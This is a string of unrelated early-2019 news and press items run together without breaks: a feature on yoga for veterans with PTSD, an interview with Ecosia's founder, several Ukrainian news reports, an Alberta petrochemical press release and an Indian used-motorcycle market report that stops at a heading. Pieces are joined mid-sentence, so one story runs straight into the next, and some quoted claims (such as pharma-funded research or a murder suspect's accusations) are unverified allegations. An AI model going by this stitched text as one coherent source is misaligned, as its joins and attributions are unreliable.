Hall began to take Hinojos class after his wife of 28 years passed away. I could not move on from it, he said. I would just lay on the floor and pant like an animal, for days. I was considering suicide. I went to the VA and they suggested yoga.

When he met Hinojos, Hall recognized in his eyes a shared pain that served as a bridge between us. It takes a lot for a man to be vulnerable in our society, and Matt was vulnerable. He shared his pain with me, so that I would know I was not alone. And it was through this that I healed. Not through medications. Through love. Through compassion. Through kindness. Yoga gave me back my breath, when I hurt so much I couldnt even breathe anymore.

Post-traumatic stress disorder itself is a widespread problem worldwide, that is not just limited to veterans. According to the National Institutes of Health, 6.1 percent of the worlds population suffers from some sort of PTSD, in the wake of natural disasters or some form of violence. Symptoms include re-experiencing, avoidance, arousal, cognition and mood symptoms.

Even though the military continues to increase its use of yoga as a treatment for PTSD, the NIH remains skeptical of its efficacy. In 2018 the NIH published the results of a study called Yoga for Posttraumatic Stress DisorderA Systematic Review and Meta-Analysis, concluding that only a weak recommendation for yoga as an adjunctive intervention for PTSD can be made. More high quality research is needed to confirm or disconfirm these findings. The study concluded that talk therapy and drug therapy were the best method of controlling PTSD.

Im not surprised theyd say that, said Hinojos. But heres the thing. Youre the NIH, but you say we need more high quality research. Why arent you doing high-quality research? Could it be that your low-quality research is funded by big pharma? They just want to push their drugs. And if talk therapy and drugs worked, we wouldnt be losing 22 veterans a day to suicide. Ive lost three friends to suicide since I left the military. Its a crisis.

Many experts in the field of trauma say mind-body therapies, including yoga, can be extremely helpful in treating PTSD. Among these is Albuquerques own Natalie Smith, director of Awake & Aware, a local psychological trauma treatment center whose pioneering program, Healing in the Desert, makes use of yoga and other therapies.

Yoga is a practice that helps one calm the mind and body, Smith writes on the centers website. In recent years, research has shown that yoga practices can improve neuroendocrine and hormonal activity, decrease physical symptoms and emotional distress, and increase quality of life. Paired with self-regulation, yoga is a promising therapy for helping patients address the cognitive, emotional and physiological symptoms associated with their trauma, and PTSD specifically.

Our medical system, as it is, is making people like me worse, said Hinojos. I want to help revolutionize the way we deal with PTSD, addiction, mental health issues and people who are suicidal. All because of my yoga, my PTSD symptoms have all but gone away, Im off all prescription medications, and Ive lost 85 pounds. I can sleep through the night, and my depression and anxiety are manageable. Why wouldnt I want to share this with everyone who needs it?

What greater gift than to take something that saved your life and turn around and give it to someone else? said Hall. When he says yoga saved his life, Matt means it. And now, it has saved mine, too.Ecosia, a German startup with an internet search engine, today, has brought in enough revenues to enable it to plant 50 million trees. This equates to the removal of 2.5 million tonnes of Co2 from the atmosphere, according to the company.

And Ecosia is now planting a tree every second in Kenya, Brazil, Indonesia, Spain, Tanzania, Madagascar, Colombia, Peru, Senegal, Burkina Faso, Haiti, Morocco, Ethiopia, Uganda, Ghana and Nicaragua with the profits it makes from advertisements on its search engine.

Ecosia has partnered with Bing, Microsofts search engine, to get results for users, but receives a majority portion of any revenues. After covering its internal costs, everything left goes towards planting trees; Ecosia is a non-profit organization.

Growth for the startup, which started operations in 2009, has grown exponentially  particularly in its home country of Germany  as consumer concern about climate change increases, and the company is on track to reach 100 million trees planted by the end of 2019, according to the founder Christian Kroll.

Climate change is a very real threat and if were to stop the world heating above the 1.5 degrees warned about in the IPCC report, we need to plant trees at scale, he wrote in a statement. People now use Ecosia in 183 countries and were really excited that users have helped us plant 50 million trees. However, the reality is that it is not enough. We need to change the way we eat, the way we farm, the way we generate our energy  we also need to plant a trillion trees. It sounds unachievable, but it is the equivalent of 10% of the worlds annual military spend.

The startup partners with various projects globally to plant trees in locations where they can benefit the local economy and therefore positively contribute to communities, often agriculturally.

One of those partners is the Jane Goodall Institute of the renowned conservationist who is working to restore forest in Uganda, the natural habitat for chimpanzees.

We caught up with Kroll to find out more about how Ecosia started and its plans to promote sustainable agriculture practices as well.

(You can start using Ecosia straight away here and can add it as a free extension to your browser. Youll see a little counter of how many trees your searches have planted  I am at 153 after two weeks.)

Where did the idea for Ecosia come from?

Before I started the company in 2009, I did a trip around the world. I had just finished university where I did business administration and I wanted to build a business that was about more than just making money but had a purpose. I spent most of my year away in Nepal and Argentina and I observed a lot of environmental problems, poverty, and global injustice. It became obvious to me that I wanted to do something to help combat that. At that time, the power of Google was already very obvious, and clearly making a lot of money through advertising, so I thought a search engine was a really interesting way to help people and the planet.

It took us four years to plant the first million trees, then we reached 25 million under a year ago, and we might even reach 100 million this year. The more users we have, the more trees we can plant. Its our ambition to plant 1 trillion trees to help prevent a climate change catastrophe, which sounds like a big number but if we had just 15% of the revenue of Google, we could do that in 20 years. But theres lots of room for us to grow; we have less than 1% market share and plenty of degraded land to plant on.

How and where do you plant trees?

We have 20 project partners, mostly in developing countries in the tropics  a lot in Africa, South America and Indonesia and usually NGOs who have been planting already for a while. So we finance the planting and in return we want proof and to make sure they meet our standards, not just for planting the trees but also taking care of them and any workers involved in the projects.

We have lots of criteria for each project with basic requirements like no child labor, no monocultures. Also the price of a surviving tree needs to be very low, and the benefits of planting that tree need to be very high. We try to focus on biodiversity hotspots; areas with a lot of biodiversity but thats heavily threatened. We try not to plant natural forests as that would be just a drop in the ocean and wouldnt give economic opportunities to the community. All the tree planting is on community land, never private land.

We try to plant trees that will have as much of an impact as possible; we want to make sure they arent just planted but will have a benefit for the local people and nature. We believe trees only stay standing if they have an economic benefit directly or indirectly for the local people. So often they will be fruit trees, or they improve soil fertility and water retention, so the local people will understand their value if they are left standing. For example, in Burkina Faso we have been turning deserts into forests where people will then start to make an income by letting their animals graze there as well as some branches for firewood.

We arent necessarily planting in areas that have been deforested but plant to take pressure off natural forests that are still standing. Our trees might be harvested eventually as long as there are more trees planted than are harvested. And we wont plant in areas where there havent been any forests before like the desert in Namibia which is a natural desert, unlike the Sahara which is a man-made desert.

The Sahara Desert was created by humans?

Yes, bad human practices create deserts. Greece, Spain, Iran, and Iraq used to be completely forested but they were all destroyed by non-sustainable agricultural practices that degraded the land, and thats what happened in the US with the dustbowl in the 1930s. It all used to be super fertile savannah but was destroyed by humans not understanding nature and destroying the soil.

We are trying to bring an understanding of nature back to the people. One farmer in the US who really understands how to farm and respect nature is Gabe Brown. If all farmers were like him, I wouldnt worry about climate change anymore.

Are you considering regenerative agriculture projects too?

Of course with the tree planting projects, agriculture always plays a role. If its not right next to the trees, its somewhere in the landscape and so we are trying to promote regenerative practices.

We are also developing something here in Europe; we cant just preach that everyone has to be regenerative and sustainable elsewhere but in your home country you have non-sustainable agriculture. So we started a project with Richard Perkins who has a small farm in Sweden and together weve created a sort of business competition to receive a 100k loan to pursue their plan. The requirements of the competition include that it needs to build a lot of soil and it needs to be profitable.

Were also financing a few other projects in Europe including one with Benedikt Bosel in East Germany to implement agroforestry and the holistic grazing of cattle.

Are you using any technology tools?

As we are usually trying to plant a tree for 15 to 20 cents, and it only counts as a tree if it makes it to its third birthday, we cant really afford fancy technology yet. So we try to work mostly with nature when it comes to plant technologies. We do use a tractor that has a plow that can crack open the soil to seed, as the soil is so degraded and dry you can no longer get your fingers into it. Cracking it helps the water to infiltrate too instead of staying on the surface. But when it comes to monitoring and measuring our projects, we use satellite images and drones to gather statistics to monitor them.

Find out more about Ecosia here.Andriy Eider, the wounded Ukrainian seaman injured during the Russian attack in the Kerch Strait, does not have hepatitis, despite the suspicions. His lawyer Aleksandra Markova reported that on Facebook, after she managed to visit her defendant in Matrosskaya Tishina prison.

'Everyone was concerned about the repeated tests, which were taken from Andriy. And this is great news, actually. Of course, one hardly can trust the quality of the expertise from Matrosskaya Tishina - or the extent to which the wounded POWs are informed about their health status; nevertheless, Andriy is healthy, and that's what matters the most!', Markova wrote.

On November 25, the coast guard ships of the Russian Navy attacked the ships of the Ukrainian Navy, which have been carrying out a scheduled transition from Odesa port to Mariupol port in the Sea of Azov. Ukrainian ships were rejected passage via the Kerch Strait, Russian coast guards opened aimed fire on them.

All 24 sailors on board were captured and delivered to Moscow  21 of them were delivered to Lefortovo remand center, another - to the hospital of Matrosskaya Tishina prison.

On December 3, the Russian prosecutors officially accused Ukrainian sailors with the 'illegal crossing of the state border' during the attack in the Kerch Strait.

Facing an extension of the sentence term, Ukrainian POWs detained in the Kerch Strait refused to testify in Lefortovo court. Sailors were distributed into six groups, four people in each. On January 15, 2019 Moscow's Lefortovo district court decided to keep 20 Ukrainian sailors in remand until April 24. On January 16, the court extended the detention term for another 4 sailors.In 2019, the UN needs $162 million to provide aid to 2,3 million people

Open source

The UN has established Ukraine Humanitarian Pooled Fund to provide aid to Donbas people suffering from the conflict, as Ukrinform reported, citing UN Assistant Secretary-General for Humanitarian Affairs and Deputy Emergency Relief Coordinator Ursula Mueller.

We are establishing an innovative funding mechanism to support the 2019 Humanitarian Response Plan (HRP) effortsthe Ukraine Humanitarian Pooled Fundto address acute needs that are least funded. I welcome the contributions made by donors to this Fund. I urge others to join, Mueller said.

According to UN Assistant Secretary-General, the organization needs $162 million to provide aid to 2,3 million people in 2019.

Besides, the Ukrainian fund is the part of the so-called Country-based Pooled Funds, which urge the donors, such as governments, international and non-governmental organizations, to contribute to support people suffering different conflict all over the world.

Todays discussion gives us an opportunity to once again draw attention to the humanitarian consequences of the conflict. As long as political discussions continue, we should not forget the human face of this crisis and its impact on the civilian population, ordinary people who experience its consequences every day, she said.

As we reported the UN Security Council meeting on Ukraine took place on February 12, 2019, due to the fourth anniversary of the Minsk Agreements.

Besides, France, Germany, Poland, Belgium and the United Kingdom together with Italy, the Netherlands, Sweden expressed their full support to Ukraine as they approached the media with a joint statement prior to the UN Security Council session.Head of the Kherson Regional Council Vladyslav Manger, the suspect in the organization of murder of Kherson official Kateryna Handziuk, stated that her murder was organized by General of Security Service of Ukraine (SBU) Danylo Dotsenko, as 112 Ukraine reported.

I know that Kateryna has closely cooperated with the SBU and was directly subordinated by SBU General Danylo Dotsenko. I state that in the personal conversation, Danylo Dotsenko repeatedly reported to me about personal hate toward Batkivshchyna Party and our leader Yulia Tymoshenko and he will do everything possible at the territory of Kherson region to eliminate it, the suspect said.

According to him, Dotsenko repeatedly confirmed his intentions by actions.

Personally Dotsenko has created a few criminal groupings, involved in the logging of the wood, racketeering, and extortion at the territory of the region. These criminal groupings with arms were detained by police many times but after personal interference of Dotsenko was released, Manger added.

He noted that it became the reason for the conflict between the SBU and the police of the Kherson region. According to the suspect, Dotsenko created this conflict.

I think that Danylo Dotsenko has organized the attack against Kateryna Handziuk to discredit the police. But after that, and we have the irrefutable proof, that very severe consequences became the result of the attack; the physical destruction of Kateryna took place and this horrible tragedy was used for political purposes. It is not a secret that the different reasons for death were announced; and then the results of the expert study were classified. I think that such actions of General Danylo Dotsenko discredit the work of the SBU and whole authority of Ukraine. I report to all present people that I worry about my life. The investigation does not need me alive, Manger stated.

On February 11, Vladyslav Manger was served with charge papers in Handziuks murder. In his turn, Manger said that he would not escape from the country due to suspicion of organizing the murder of Handziuk.

On November 4, 2018, it became known that Kateryna Handziuk died at age of 34. She was doused with sulphuric acid in July this year. According to preliminary information, her death was caused by blood clot's detachment.

Besides, the doctors specified the cause for the death of Handziuk was specified. It was due to multiple organ failure and chemical burns.

Handziuk case evoked a huge public outrage, with people demanding to find the orderer of the murder of the activist.

Related video:The court does not decide whether Suprun has a right to sign documents and deals

Ulyana Suprun has a right to act as First Deputy Health Minister after being dismissed from the post of Acting Health Minister of Ukraine, as Bogdan Sanin, the judge of Kyiv District Administrative Court, at a briefing, Ukrinform reported.

The court rules that Ulyana Suprun cannot participate in the Governments meetings and determine strategic plan of the Health Ministry. Such restrictions do not apply to other circumstances, the court has not established them. All the powers that were delegated to Suprun as First Deputy Health Minister by a respective order or instruction remain in force. The court does not know what these orders are, but the Health Ministry representatives do," the judge said.

According to him, the court does not decide whether Suprun has a right to sign documents and deals.

"We determine the scope of the powers or restrictions that are subject to a court ruling. If there is any doubt as to the signing of a document, the Health Ministry has the right to ask for relevant explanations, and the judge as part of this case will provide a respective explanation in the volume of documents to be provided," Sanin said.

February 13, Suprun will go to the Cabinet of Ministers to unblock the Ministrys work. Suprun regards such courts reaction as slowing down the process.

Deputy Minister Olga Stefanyshyna said that sick people suffer from the blockage of Ministrys work. The establishment can not deliver drugs for patients with cancer.

As we reported, Suprun's role as acting health minister was questioned by MP from the Radical Party of Lyashko Ihor Mosiychuk. The court explained that such a decision was made as Suprun has dual citizenship. Apart from the Ukrainian one, she also has a U.S. passport.

The government of Ukraine expressed the support of Suprun, as well as the President of Ukraine Petro Poroshenko, did.

Related video:EDMONTON, Alberta, Feb. 13, 2019 (GLOBE NEWSWIRE) -- With the fallout from the pipeline access crisis still plaguing Alberta, business leaders from Resource Diversification Council (RDC) are calling for a sustainable and collaborative plan to address our landlocked resource problem. They say a robust Alberta downstream development strategy is the best way to improve market access for resources, reduce revenue volatility, sustain employment, and grow our economy from existing strengths.



As the upstream market struggles with layoffs and low margins, Albertas value-added energy industries are steadily attracting investment. In the last few years, over fifteen billion in private capital has flowed to RDC member projects, growing Albertas economy from within the energy sector.

With our resources and people, we have what it takes right here in Alberta to secure a prosperous future, says David Chappell, Chair of the Resource Diversification Council. One long-term solution to Albertas market access issue is to take these strengths and pursue energy processing and refining industries beyond, and in addition to, pipelines. Developing these industries is in our control. We dont have to wait for anybody else.

Value-added diversification involves turning oil and gas into other products like cleaner burning fuels, recyclable plastics, clothing, medical devices, de-icing fluid, detergents, and fertilizers. This trillion-dollar global industry is poised for explosive growth, accounting for one-third to one-half of world oil and gas growth demand by 2050. Albertas abundant resources are feedstock to these industries, enabling

Alberta to become a global leader in downstream energy diversification, an industry that is already fueling growth in Albertas Industrial Heartland, Joffre, and Medicine Hat.

Despite the recent success at attracting investment to Alberta, over ninety-eight percent of North American petrochemical industry capital is funding projects elsewhere. Chappell says that ongoing community, government, and industry collaboration is needed to put Alberta first on the list of preferred investment locations. Policy recommendations will be made during events held today and tomorrow in Edmonton with leaders from government and interested parties. Key recommendations include:

Streamlined regulation. It takes twice as long to get a project approved in Alberta as other jurisdictions. RDC is recommending the creation of Diversification Zones to allow for faster approvals on downstream energy projects that fit well-defined and pre-established environmental and economic development criteria. Leveraging our world class regulatory system, these Zones would provide Alberta a substantial competitive advantage. Companies could also share utilities and infrastructure to improve synergies and keep costs low.

A level playing field. Other jurisdictions are winning the majority of new capital projects by using aggressive incentives. An aggressive, predictable and sustainable Alberta investment attraction strategy should create long term programs, establish pre-qualification stages, and utilize a variety of tools such as feedstock programs, royalty or tax credits, grants or loans. With this strategy, Alberta companies are already attracting capital, creating jobs and new sources of revenue. The financial benefits will far outweigh the governments investment.

Committed collaboration. Industry, communities, and governments have an obligation to steward the resources of this province on behalf of everyone. Making a commitment to building the downstream industry and access new valuable and growing markets for our energy products is the right thing to do for Alberta and its long-term economic stability.

Added Mark Eramo, a Houston-based chemical industry analyst and VP with IHS Markit: Petrochemicals is a high-value growth industry, but its also an extremely competitive global business. Making Alberta attractive for chemical industry capital investment will take the same all-in approach seen in other jurisdictions in the US including Texas, Louisiana, and now the Ohio Valley. Alberta is already competing with these locations, and will need to continue offering strong incentives to win in this very competitive investment climate.

Added Chappell: Collaboration between industry and government built Albertas upstream industry. Lets do the same for downstream. Weve got the resources. Weve got the people. And weve got momentum. There has never been a more critical time to build on our strengths.

RDC is a non-profit collaborative of industry, education, and association leaders building on Albertas strengths in the value-added resource sector. For further detail on policy recommendations visit www.diversification.org.

Media contact: Joni Avram, Cause & Effect Marketing for RDC at 403-617-5496 or joni@causeeffect.ca / jonia@telus.netRussian side states that Ukrainians stay under constant medical supervision and provided with necessary medications

Tatiana Moskalkova, the Russian Ombudswoman and Nina Karpachova, the Vice President of European Ombudsman Institute Russian Ombudsman press service

Russian Ombudsman Tatiana Moskalkova along with Vice President of European Ombudsman Institute Nina Karpachova visited injured Ukrainian sailors Andriy Eider, Vasyl Soroka and Andriy Artemenko at Lefortovo prison, as the press service of Moskalkova reported.

Tatiana Moskalkova note that during the communication with the sailors, the special attention was focused on the humanitarian issues connected with the health state and conditions of the detentions. The citizens of Ukraine detained in clean, warm cells with an area of 8 meters with another two prisoners; they provided with the good nutrition, warm clothes. There are hot water, bathroom, free access to the fresh air, TV, fridge, kettle and immersion heater, washing supplies, food products, a lot of literature in each cell, the message said.

Besides, the Russian side states that the Ukrainian sailors are provided with the possibility to receive the correspondence and additional packages from the relatives, meet the Ukrainian consuls and lawyers without time limit.

The Ukrainians stay under constant medical supervision and provided with necessary medications.

Moskalkova added that the issue of the necessity to hold additional medical examination and treatment of the injured sailors in Moscow hospitals was discussed during the meeting with the direction of the remand center and medical unit. She expressed the hope that the issue will be solved positively.

On November 25, the coast guard ships of the Russian Navy attacked the ships of the Ukrainian Navy, which have been carrying out a scheduled transition from Odesa port to Mariupol port in the Sea of Azov. Ukrainian ships were rejected passage via the Kerch Strait, Russian coast guards opened aimed fire on them.

All 24 sailors on board were captured and delivered to Moscow  21 of them were delivered to Lefortovo remand center, another - to the hospital of Matrosskaya Tishina prison.

On December 3, the Russian prosecutors officially accused Ukrainian sailors with the 'illegal crossing of the state border' during the attack in the Kerch Strait.

Facing an extension of the sentence term, Ukrainian POWs detained in the Kerch Strait refused to testify in Lefortovo court. Sailors were distributed into six groups, four people in each. On January 15, 2019, Moscow's Lefortovo district court decided to keep 20 Ukrainian sailors in remand until April 24. On January 16, the court extended the detention term for another 4 sailors.

As we reported, lawyer Nikolai Polozov, who deals with the defense of Ukrainian prisoners of war, confirmed that three Ukrainian sailors wounded in the Russian Navy attack on Ukrainian ships were brought from Matrosskaya Tishina to Lefortovo prison in Moscow. He also added that it happened on Monday, January 28.

Related video:Six people will enter the editorial board. Particularly, three representatives of the 112 Ukraine TV Channel management: Chief Producer Artem Marchevskyi, Director General Yehor Benkendorf and international journalist Oleh Voloshyn. Besides, the representatives of Taras Kozak, the owner of the TV channel, particularly, three MEPs Nathan Gill, Arne Gericke and David Coburn will become the members of the board.

Owner of 112 Ukraine and NewsOne Taras Kozak commented on this event Today the critical situation with the freedom of speech occurred in Ukraine. The authority tries to close the unloyal TV channels: it is about the attacks on the journalists, interference in the editorial policy of the TV channels and voting at the Verkhovna Rada of Ukraine, where they voted for the implementation of the sanctions against 112 Ukraine and NewsOne. When I was thinking about the purchase of the TV channels, the decision to protect the TV channels at all costs was made. And I appealed to the MPs of the European Parliament, who are well aware of the issue of the freedom of speech in Ukraine and came to Kyiv, studied the issue of the TV channels, visited the National Council, visited officials but did not receive any reply. I am very grateful to Nathan, Arne and David, who have agreed today to be the members of the editorial board of both TV channels. They will help to protect our interests, talk about freedom of speech issue in Ukraine. Today, the first editorial council was held. We came with the representatives of our channels for the first editorial council within the European Parliament; we will talk about our issues, determine the strategy of the TV channels, development and assume all measures to make freedom of speech be in Ukraine.

Member of the European Parliament Nathan Gill: It is an honor for me to participate in this board as the freedom of speech is crucially important. It is important for TV channels to correspond to European standards. It is an honor for me to provide the correspondence of the editorial policy to the European standards.

Member of the European Parliament Arne Gericke: It is an honor for me to become a member of this board. I will do everything in my power to help in the provision of the standards of freedom of speech, which act in the west. I hope that I will be able to help in any way. Freedom of speech is important for everyone. And it is important that Ukraine moves in this direction.

In his turn, Chief Producer of 112 Ukraine TV channel Artem Marchevskyi revealed how the editorial board is established. The quote of the owner of the TV channel makes 50% and the other part is the quote of the channels team. Three MEPs entered the membership of the editorial board on the quote of the owner: Nathan Gill, Arne Gericke and David Coburn. Artem Marchevskyi, Yehor Benkendorf and Oleh Voloshyn entered the board on the quote of the tem. I promise we will continue to fight and we will win.

Three MEPs also entered the editorial board of NewsOne TV channel as well as Director General Yuriy Budyak, Chief Producer Vasyl Holovanov and international journalist Oleh Voloshyn.

112 Ukraine is an informational and analytical TV channel which broadcasts 18.5 hours per day on air and uses modern technologies to be the first channel to provide the unbiased information on important and interesting events going on in Ukraine and in the world. This is mentioned in the respective statement by Artem Marchevskyi, the Chief Producer, and Yehor Benkendorf, Director General of 112 Ukraine.

NewsOne is an informational and analytical TV channel. The Chief Producer is Vasyl Holovanov. The Director General is Yuriy Budyak.The quota is 620 persons less than last year

Open source

The Cabinet of Ministers of Ukraine set new immigration quota for the foreigners and the individuals without citizenship this year. 3,768 persons are allowed to immigrate into Ukraine per year, which is 620 persons less than last year. Such a decision was ruled out on the government session, as 112.ua reports.

So the quota for relatives of the Ukrainian citizens (full sisters and brothers, grandparents and grandchildren) is 875 persons, for the persons that used to have the Ukrainian citizenship  498, for parents, spouses and juvenile children of immigrants  2,070 persons, cultural and art workers, immigration of whom works in Ukraines favor  280 persons.

Besides, four highly qualified specialists or workers are allowed to immigrate in Ukraine provided Ukraine needs them for economic development.

The additional 41 persons can immigrate as well if they have been serving in the Armed Forces of Ukraine for three years.

As we reported earlier, more than 77,000 foreigners were not allowed to cross the border to Poland in 2018. Most of those people were the citizens of Ukraine.

Besides, it appeared that more than 12,000 of foreigners were employed violating the rules, as a result of checks of employment legality.

The State Border Service of Poland checked in a total of 52.3 million people at the borders over 2018, 36 million people were foreigners. Over 21.6 million checks took place at the border with Ukraine.Montenegro, Albania, Norway, and Ukraine have pledged to reconcile their internal policy with the EU Council decision

Montenegro, Albania, Norway and Ukraine joined the EU decision to sanction nine people responsible for the organization of the so-called elections in Donbas in autumn, 2018, as the declaration published on EU website, says.

EU applicant countries Montenegro and Albania, the member of the European Economic Area Norway, and Ukraine joined the decision, the message says.

These states have pledged to reconcile their internal policy with the EU Council decision.

The so-called elections took place in the occupied territories of Donetsk and Luhansk regions on November 11, 2018. The voters elected the leaders of "people's republics" and their representatives in the parliaments of the "republics".

Ukraine, the U.S., and the EU unanimously condemned the voting, considering it illegitimate.Russia intends to send short-term observers within the OSCE Office for Democratic Institutions and Human Rights to Ukraine during the presidential elections, as the commentary of the Information Department and Russias Foreign Ministry reported.

Russian side wants to use its right to participate in the international observation of elections in another OSCE member state, in Ukraine in this case. Our actions are based on mutual obligations of all the OSCE member states to provide free access to the elections for the observers. This should guarantee transparent and democratic elections, the message says.

It was reported that Russia would propose candidates to the OSCE/ODIHR under the received invitations.

We expect that they will be provided with all the necessary conditions to implement functions of the international observation, the representatives of the Russian Foreign Ministry stated.

Earlier, Oleg Slobodyan, the Spokesperson of Ukraines Border Guard Service, said that border guards would check the international observers before letting them enter Ukraine. Only accredited observers would be allowed to enter the country.

The Verkhovna Rada registered the bill No.9524 which calls for ruling out the participation of the observers from the aggressor state in the presidential and parliamentary elections in Ukraine.

ODIHR offered to include two citizens of Russia to the list of the mission on the observation of the Ukrainian presidential elections on 31 March 2019, despite the conditions declared by Ukraine.

The election campaign has officially started on December 31, 2018. Registration of the candidates was closed on February 4, 2019, and on February 9, the list of presidential candidates has appeared. The candidates would be able to withdraw their candidacy until March 7, 2019.

Related video:The report states that human rights activists in this country suffer from attacks, and the authorities need more decisive steps to prevent the crimes and duly investigate the ones that already took place

Amnesty International logo Open source

Amnesty International released a report on the current state of affairs in the human rights area in Ukraine.

'The Ukrainian authorities have failed to prevent or investigate numerous human rights violations committed by violent groups in 2018, perpetuating a feeling of impunity among their members which risks encouraging further attacks against human rights activists, political opponents and ethnic minorities,' reads the report.

'Independent journalists and media companies, especially those who are accused of disseminating pro-Russian views, have increasingly come under pressure by both the authorities and members of violent groups. Ukrainian authorities should take decisive steps to stop the surge of violent attacks by ensuring effective, impartial and transparent investigations of all cases. Those who are suspected of being involved in violence should be brought to justice in fair trial proceedings', the document says.

'The authorities should also unequivocally recognize the important role played by civil society activists, and fully respect the right to freedom of expression, including media freedom, and victims of violence should be provided with access to adequate remedy', Amnesty International wrote.Ole Terje Horpestad and members of the Norwegian Council for Refugees Affairs arrived in Luhansk region with the working visit

Norwegian delegation at Stanytsia Luhanska checkpoint Joint Forces Operation Facebook

A foreign delegation of Norwegian diplomats came to the government-held section of Luhansk region. Ole Terje Horpestad and members of the Norwegian Council for Refugees Affairs came there to inspect the operation of Stanytsia Luhanska checkpoint. The Joint Forces Operation HQ reported that on Facebook.

The delegation visited the only checkpoint working in Luhansk region, studied the order of crossing the division line, the level of passenger flow and other specifics of this checkpoint.

Serhiy Sokolovsky, the first deputy head of Lysychansk border guard unit informed the foreign delegation on the current situation in the humanitarian corridor over the division line in Donbas.

He added that thanks to international cooperation, the checkpoint was reconstructed; that allowed increasing the number of jobs for improvement of passport control quality and speed up the entry-exit operations. This, in turn, cut down the queues at the checkpoints, improved the public safety level and reduce the duration of control procedures.North Korea will guarantee the security of the IAEA representatives and their activity until the end of the inspection

Open source

North Korea has agreed to allow the inspectors of the International Atomic Energy Agency (IAEA) to visit its nuclear facilities, as The Korea Times reported citing an official.

"Nuclear negotiators from the United States and North Korea have reached a tentative agreement under which IAEA inspectors would have access to nuclear and missile testing sites in the North for verification of their dismantlement in due time," the source said.

Particular data and facilities, which would be inspected, are going to be determined during the negotiations.

"North Korea will guarantee the safety of IAEA inspectors and their activities until the verification process is complete. Pyongyang will comply with its obligations under the U.N Security Council (UNSC) resolutions to cooperate with the IAEA and properly address outstanding issues," the message said.

The Treaty on the Non-Proliferation of Nuclear Weapons was signed by the DPRK in 1968; however, the country left the treaty in 2003. In 2009, North Korea demanded IAEA experts to leave the country.

As we reported North Korea warned that it could renew state policy aimed at strengthening its nuclear arsenal if the United States does not change the position on sanctions against the country.

Earlier, U.S. leader Donald Trump stated America intended to build up its arsenal of nuclear weapons to pressure Russia and China.The judge has also been sent to complete additional training

Kostiantyn Vasalatiy, the judge of the Obolon District Court of Kyiv EPA / UPG

The High Council of Justice ruled the decision to suspend Kostiantyn Vasalatiy, the judge of the Obolon District Court of Kyiv, after he sentenced the ex-president of Ukraine Viktor Yanukovych. The High Council of Justice reports this on its website after the second meeting of the Disciplinary Chamber of the High Council of Justice on Wednesday, February, 13.

So the decision was to bring Vasalatiy to disciplinary responsibility and to employ against him disciplinary measures, in other words, to suspend him from work for six months. The judge was also deprived of the right to receive additional payments to his salary.

Besides, Vasataliy has been sent to the National School of Judges of Ukraine to complete additional training concerning the ethics of a judge and the implementing of the civil procedural law. He also has to pass the necessary assessment for checking his capability to administer justice.

Earlier the court found Yanukovych guilty of addressing the Russian President Putin and asking him to deploy troops in Ukraine.

Besides, the court sentenced ex-President of Ukraine Viktor Yanukovych to 13 years of the detention for the state treason and complicity in the holding of the aggressive war against Ukraine by the Russian Federation.

Yanukovych was charged with state treason, assistance in deliberate actions against Ukraines state border, sovereignty and territorial integrity and assistance in leading the aggressive war against Ukraine.

As it was reported earlier, the Chief Military Prosecutors Office asked the court to sentence ex-President of Ukraine Viktor Yanukovych to 15 years of imprisonment in the case on state treason.Dublin, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The "India Used Two Wheelers Market Outlook to 2023 - By Unorganized and Organized Sector, By C2C and B2C Distribution Channel, By Stock Piece and Customized Two Wheelers; By Motorcycles and Scooters" report has been added to ResearchAndMarkets.com's offering.



India is the largest producer and manufacturer of two wheelers in the world followed by the Republic of China. Rising fuel prices is one of the primary growth drivers for two-wheelers due to their higher fuel efficiency. In India, commuters across all age groups use motorized vehicles, especially two wheelers owing to the escalating population and rapid increase in traffic congestion, thereby making two wheelers as the most appropriate and convenient mode of transportation in urban areas.



The market has attained speedy growth over the period of five years from FY'2013 to FY'2018. The demand for used two wheelers has seen a constant rise over the past few years, especially from models like Honda Activa, Aviator, TVS Jupiter, Bajaj Pulsar and Discover. Even in terms of exports, two-wheelers produced in India are the proud products of the Make-in-India initiative where nearly 7 in 10 automobiles delivered out of India are two-wheelers.



India Used Two Wheelers Market Segmentation

By Market Structure

In FY'2018 the sales volume through the unorganized sector is generated through individual sellers, local dealers/mechanics and small dealerships which collectively contributed to a majority of the proportion in the overall used two wheelers market. On the other hand organized sector was observed to capture the remaining volume share in the FY'2018.



By Distribution Channel

Due to low awareness regarding the existence of organized online and offline players, the majority of transactions conducted in the market are through C2C or offline B2C channel. The C2C channel controlled a major proportion of the total sales volume in the used two-wheeler market during the FY'2018.



By Type of Two Wheelers

India used two wheelers market was continuously dominated by motorcycles with a massive volume share during FY'2018. This is because male riders travelling a longer distance still prefer motorbikes instead of a scooter due to larger engine and greater mileage offered by motorcycles. On the other hand, gearless scooters are trending in the country, especially among female population.



By Engine Capacity

On the basis of engine capacity of two-wheelers, it has been observed that used bikes with 100-110 cc engine capacity have been mostly purchased by buyers. On the other hand, engine capacities with 125-135 cc, 150-200 cc and others have been gaining traction in India.



By Average Ownership Period of Used Two Wheelers

The buying behavior of Indians has witnessed changes over the review period majorly due to a reduction in the ownership period of two wheelers by the owners. It has been observed that presently, Indians mostly use a two-wheeler for at least a period of three to five years before disposing it off.



By Manufacturer of Two Wheelers

The Indian used two wheeler market is dominated by Hero which is also the global leader and largest player in the new two-wheeler market. The company caters to a wide consume base and has segmented its market on the basis of income and age group. Other players including Bajaj, Honda, Yamaha, TVS and Suzuki have been able to contribute the remaining sales volume in India used two wheelers markets during the FY'2018.



By Body Type of Two Wheelers

The category of commuter bikes such as Hero Splendor, Bajaj Discover, and Honda CB Twister contributed to a dominant volume share of used two-wheelers during the FY'2018. The next popular vehicle category in the used-two wheeler space in India has been scooters.



Competitive Landscape in India Used Two Wheelers Market

In the FY'2017, majority of the used two wheelers market in terms of sales volume was observed to be highly unorganized thereby constituting individual sellers, local mechanics and small dealerships. On the other hand, the market constitutes of the organized players like Droom, CredR, BikeDekho.com, BikeWale.com, Mahindra First Choice Wheels Limited (MFCWL), BikersHighway and others.

The online used two wheeler market has been emerging along with the rise in the popularity of E-commerce platforms in the country. Growth of online advertising has fuelled the rise of online classified platforms such as OLX, Quikr, Gaadi.com and others have revolutionized the way in which pre-owned vehicles have been sold in the country. The online used two-wheelers market in India has seen year on year growth during the FY'2018.

Future Outlook and Projections

